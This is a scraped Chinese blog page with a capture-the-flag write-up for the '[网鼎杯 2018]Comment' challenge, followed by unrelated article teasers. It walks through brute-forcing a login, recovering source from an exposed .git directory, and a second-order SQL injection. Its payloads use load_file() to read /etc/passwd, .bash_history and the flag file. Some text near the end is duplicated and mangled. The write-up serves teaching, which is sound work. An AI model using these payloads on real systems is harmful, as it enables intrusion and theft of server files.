当前位置: 首页 > news >正文

[网鼎杯 2018]Comment

使用环境为https://adworld.xctf.org.cn/challenges,搜索题目[网鼎杯 2018]Comment。

进入环境,发现为一个留言板,点击发帖试试。

在这里插入图片描述

尝试发帖

在这里插入图片描述

跳转到登录页面,根据提示使用burp进行暴力破解。

在这里插入图片描述

发现payload为666时状态码不同。

在这里插入图片描述

尝试密码为zhangwei666发现登录成功。

使用awvs进行扫描。发现存在.git目录,并且存在git泄露漏洞。尝试使用githacker恢复源码。

在这里插入图片描述

刚恢复完是一段残缺的代码,需要进行恢复到完整代码

git log --reflog
git reset --hard 版本

完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

分析代码可知,当do=write时,传入的参数中的单引号均被过滤掉,而当do=comment时,category被直接拿来用,没有被过滤单引号,那么二次注入点就在此。

构建payload:

在do=write时,title和content随便写,将category写成下面payload

',content=database(),/*

然后在do=comment时,将content写成

*/#

也就合成了一个查询函数

    $sql = "insert into commentset category = '',content=database(),/*',content = '*/#',bo_id = '$bo_id'";

查询flag是根据网上的资料查找的。

查看当前登录的用户

',content=user(),/*

在这里插入图片描述

得知使用者是root权限

sql注入读取本地文件,使用load_file()
/etc/passwd这里存储用户信息

',content=(select load_file('/etc/passwd')),/*

在这里插入图片描述

有一个www用户,查看bash_history

',content=(select load_file('/home/www/.bash_history')),/*

在这里插入图片描述

发现有一操作rm -f .DS_Store删除了.DS_Store这个文件。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换。

',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

在这里插入图片描述

全部复制并且进行ascii 十六进制解码。

在这里插入图片描述

发现有一段flag_8946e1ff1ee3e40f.php,尝试查看这个文件

',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*

在这里插入图片描述

发现为空,那就加上hex尝试

',content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

在这里插入图片描述

解码

在这里插入图片描述

得到结果

<?php
$flag = 'flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}';
?>

但是提交答案发现是假的,尝试其他目录

',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

在这里插入图片描述

解码

在这里插入图片描述

<?php$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";
?>

ee3e40f.php’))),/*


[外链图片转存中...(img-EZ2sqSXR-1722830529065)]解码[外链图片转存中...(img-OSTJQXO8-1722830529065)]
<?php $flag="flag{0dd14aae81d94904b3492117e2a3d4df}"; ?>

得到正确的flag

相关文章:

[网鼎杯 2018]Comment

使用环境为https://adworld.xctf.org.cn/challenges&#xff0c;搜索题目[网鼎杯 2018]Comment。 进入环境&#xff0c;发现为一个留言板&#xff0c;点击发帖试试。 尝试发帖 跳转到登录页面&#xff0c;根据提示使用burp进行暴力破解。 发现payload为666时状态码不同。 尝试…...

LVS详解

目录 一、LVS简介 LVS 官网: 二、LVS 负载均衡模式 2.1 LVS-NAT模式&#xff1a; 2.1.1 简介 2.1.2 工作流程图&#xff1a; 2.1.3 说明&#xff1a; 2.1.4 LVS-NAT的优缺点&#xff1a; 2.2 LVS-DR模式&#xff1a; 2.2.1 简介 2.2.2 工作原理&#xff1a; 2.2.3 工作…...

Yolo-World初步使用

Yolo v8目前已经支持Yolo-World&#xff0c;整理一下初步使用步骤。 使用步骤 1 先下载Yolo-World的pt文件&#xff0c;下载地址&#xff1a;GitHub - AILab-CVC/YOLO-World: [CVPR 2024] Real-Time Open-Vocabulary Object Detection 官网应该是点这里&#xff08;有个笑脸…...

Navicat Premium使用

文章目录 Navicat Premium 16的使用连接MySQL建立数据库并构建表导入数据 Navicat Premium 16是一款功能强大的数据库管理工具&#xff0c;它允许用户从单一应用程序中同时连接多种数据库&#xff0c;提供了极其便捷和高效的管理和开发环境&#xff0c;对于 MySQL 用户来说&…...

LLC数字控制TMS320F28034,4-DSP的epwm配置介绍

LLC数字控制TMS320F28034&#xff0c;4-DSP的epwm配置介绍 1 TMS320F280341.1 概述1.2 PWM详细介绍 2 TMS320F28034 PWM功能框图2.1 ePWM功能模块2.2 ePWM功能寄存器框图 3 TMS320F28034 PWM初始化流程4 结合项目设计5 代码设计5.1 PWM初始化程序5.2 工程代码 6 总结 配套代码示…...

MongoDB学习记录

1、初识Mongo 概述&#xff1a;与关系型数据库不同&#xff0c;MongoDB 的数据以类似于 JSON 格式的二进制文档存储&#xff0c;通常称这种格式为Bson&#xff0c;Bson不仅支持JSON中已有的数据类型&#xff0c;还增加了一些额外的数据类型&#xff0c;例如日期和二进制数据&a…...

vlunstack-2(复现红日安全-ATT CK实战)

环境搭建 配置信息 DC IP&#xff1a;10.10.10.10 OS&#xff1a;Windows 2012(64) 应用&#xff1a;AD域 WEB IP1&#xff1a;10.10.10.80 IP2&#xff1a;192.168.47.131 OS&#xff1a;Windows 2008(64) 应用&#xff1a;Weblogic 10.3.6MSSQL 2008 PC IP1&#xff1a;10.10…...

【生信入门】预览快速体验Linux-重生之小明闯Linux

生信少走弯路,快试试生信云专用服务器。新用户注册免费体验5小时。https://www.tebteb.cc 一.故事 小明的Linux冒险 在一片混沌的黑暗中&#xff0c;小明睁开了眼睛。他感到头痛欲裂&#xff0c;四周一片漆黑&#xff0c;只有一行闪烁的字符映入眼帘&#xff1a; [xiaomingu…...

用.net core简易搭建webapi托管到IIS

1、从官网下载.NET Core 托管捆绑包 https://learn.microsoft.com/zh-cn/aspnet/core/tutorials/publish-to-iis?viewaspnetcore-8.0&tabsvisual-studio 2、新建ASP.NET Core WEB API项目 新建控制器TestController并生成GetInfo方法 3、发布 目标路径选择 2)显示所有…...

【计算机网络---OSI七层模型】

一、OSI的基本概念及原则 OSI是Open System Interconnect的缩写&#xff0c;意为开放式系统互联。各个层次的划分遵循以下原则&#xff1a; 1. 同一层的各网络节点都有相同的层次结构&#xff0c;具有同样的功能&#xff1b; 2. 同一节点的内相邻层之间通过接口进行通信&…...

Error updating database. Cause: org.apache.shiro.UnavailableSecurity

mybtisplus查看MetaObjectHandler是否有自定义获取用户信息填充用户的方法...

【网络安全】本地文件包含及远程文件包含漏洞详解

一、文件包含漏洞概述 1.1 什么是文件包含 开发人员将需要重复调用的函数写入一个文件&#xff0c;对该文件进行包含时产生的操作。这样编写代码能减少冗余&#xff0c;降低代码后期维护难度。 保证网站整体风格统一&#xff1a;导航栏、底部footer栏等&#xff0c;把这些不…...

redis启动的三种方式

默认启动&#xff1a; # 默认的启动指令 redis-server 默认启动属于前台启动&#xff0c;会阻塞整个会话窗口&#xff0c;窗口关闭或者按下CTRL C则Redis停止。不推荐使用。 //查看云服务器是否安装过redis redis-server -v//检查安装目录 which redis-server//查看redis进…...

手机怎么远程控制电脑屏幕?手机远程控制电脑方法分享

手机与电脑之间的互联互通变得越来越便捷。 无论是工作还是学习&#xff0c;有时我们需要在手机上远程控制电脑屏幕&#xff0c;以完成一些复杂的操作或查看电脑上的文件。 本文将详细介绍几种实用的手机远程控制电脑屏幕的方法&#xff0c;帮助读者轻松实现这一目标。 一、使…...

NET的全称、主要功能以及在计算机网络中的作用?

.NET是一个广泛的、全方位的平台&#xff0c;应用于开发网站、应用程式、网页应用程式和网络服务。以下是.NET的全称、主要功能以及在计算机网络中的作用&#xff1a; .NET的全称 .NET的全称实际上是Microsoft .NET Framework。它是微软公司推出的一种面向网络的开发框架&…...

LLM - 使用 HuggingFace + Ollama 部署最新大模型 (GGUF 格式 与 Llama 3.1)

欢迎关注我的CSDN&#xff1a;https://spike.blog.csdn.net/ 本文地址&#xff1a;https://spike.blog.csdn.net/article/details/141028040 免责声明&#xff1a;本文来源于个人知识与公开资料&#xff0c;仅用于学术交流&#xff0c;欢迎讨论&#xff0c;不支持转载。 Ollama…...

如何实现Redis和Mysql中数据双写一致性

在我们的实际开发中&#xff0c;我们用到了redis缓存一些常用的数据&#xff08;如热点数据&#xff09;用来提高系统的吞吐量。 但是不可以避免的出现了数据的修改场景&#xff0c;这就导致了数据库中的数据和Redis中出现不一致性的情况。如何保证数据一致性就显得非常重要了&…...

three.js 模型高亮效果实现说明(结合react)

three.js react 实现鼠标移入模型高亮选中效果 使用EffectComposer和其附加的渲染效果Passes&#xff08;如RenderPass和OutlinePass&#xff09;来实现高级渲染效果。首先创建EffectComposer实例&#xff0c;并添加RenderPass和OutlinePass&#xff0c;最后在渲染循环中调用…...

入营测评题解

第一题&#xff1a;first 第二题&#xff1a;chengji 打擂台&#xff0c;每个数跟当前最大、最小值比较&#xff0c;维护当前最值即可。 #include<bits/stdc.h> using lllong long; using namespace std;const int N1e610;int n; int x;//1e9, ll最大9e18 ll maxn0,minn…...

制造知识普及(十)-- 常见的工业软件介绍

「 1. ERP」 企业资源计划&#xff08;enterprise resource planning&#xff0c;ERP&#xff09;是制造企业的核心管理软件。ERP系统的基本思想是以销定产&#xff0c;协同管控企业的产、供、销、人、财、物等资源&#xff0c;帮助企业按照销售订单&#xff0c;基于产品的制造…...

OpenClaw配置备份:Qwen3-4B-Thinking-2507-GPT-5-Codex-Distill-GGUF模型迁移指南

OpenClaw配置备份&#xff1a;Qwen3-4B-Thinking-2507-GPT-5-Codex-Distill-GGUF模型迁移指南 1. 为什么需要配置备份与迁移 上周我的主力开发机突然硬盘故障&#xff0c;导致所有OpenClaw配置丢失。当时正在运行的3个自动化流程全部中断&#xff0c;包括每天定时执行的日报生…...

别再只跑官方Demo了!用UA-DETRAC数据集手把手教你训练一个能分清‘轿车、巴士、货车’的YOLOv5s车辆检测模型

从UA-DETRAC到精准车辆分类&#xff1a;YOLOv5s实战进阶指南 当交通监控摄像头捕捉到一辆快速驶过的车辆时&#xff0c;系统需要在一瞬间判断这是需要重点追踪的嫌疑车辆&#xff0c;还是普通通勤轿车。这种毫秒级的决策背后&#xff0c;是目标检测模型对车辆类型精准识别的能力…...

从二层到三层:华为交换机vlanif接口的进阶用法与避坑指南

从二层到三层&#xff1a;华为交换机vlanif接口的进阶用法与避坑指南 在网络设备管理中&#xff0c;华为交换机的vlanif接口&#xff08;也称为SVI&#xff0c;Switch Virtual Interface&#xff09;是连接二层与三层功能的关键桥梁。对于已经掌握基础配置的网络管理员而言&…...

MetaQTL元分析实战:从文献整理到结果可视化的保姆级流程(附避坑指南)

MetaQTL元分析实战&#xff1a;从文献整理到结果可视化的保姆级流程&#xff08;附避坑指南&#xff09; 基因组学研究正迎来数据爆炸的时代&#xff0c;单个QTL研究往往受限于样本量和实验设计&#xff0c;而MetaQTL分析通过整合多源数据&#xff0c;能显著提高QTL检测的统计效…...

macOS极简安装OpenClaw:5分钟对接Gemma-3-12b-it WebUI

macOS极简安装OpenClaw&#xff1a;5分钟对接Gemma-3-12b-it WebUI 1. 为什么选择OpenClawGemma组合&#xff1f; 去年第一次听说AI能直接操作我的电脑时&#xff0c;我本能地感到不安——让AI控制鼠标键盘&#xff1f;这听起来像科幻电影里的灾难开端。但当我真正尝试用Open…...

单片机产品设计全流程与实战经验分享

1. 单片机产品设计全流程解析作为一名在嵌入式领域摸爬滚打多年的硬件工程师&#xff0c;我经手过从智能家居到医疗设备的各类单片机项目。今天想系统梳理一下用单片机设计产品的完整流程&#xff0c;特别是那些教科书不会告诉你的实战经验。单片机之所以成为现代电子产品的核心…...

UPnP_Generic库:嵌入式设备自动端口映射实战指南

1. UPnP_Generic库深度技术解析&#xff1a;嵌入式设备自动端口映射的工程实践1.1 为什么嵌入式开发者需要UPnP_Generic库在嵌入式物联网项目中&#xff0c;当设备需要从公网访问本地Web服务&#xff08;如传感器数据页面、远程控制接口或OTA升级服务器&#xff09;时&#xff…...

终极团队协作利器:Synthwave ‘84主题如何实现多人开发环境一致性

终极团队协作利器&#xff1a;Synthwave 84主题如何实现多人开发环境一致性 【免费下载链接】synthwave-vscode Synthwave inspired colour theme for VS Code &#x1f305;&#x1f576; 项目地址: https://gitcode.com/gh_mirrors/sy/synthwave-vscode 在现代软件开…...

魔兽争霸3帧率终极优化指南:从60到240帧的完整解决方案

魔兽争霸3帧率终极优化指南&#xff1a;从60到240帧的完整解决方案 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 【问题诊断&#xff1a;你的魔兽争…...

LangChain与向量库集成:Document Loaders与Text Splitters

上周三凌晨两点&#xff0c;我被一个奇怪的召回问题卡住了&#xff1a;明明在PDF里写得很清楚的配置项&#xff0c;用相似问题去查向量库&#xff0c;总是返回一些边缘内容。打开调试日志一看&#xff0c;发现切出来的文本片段里&#xff0c;前半段是某个章节的结尾&#xff0c…...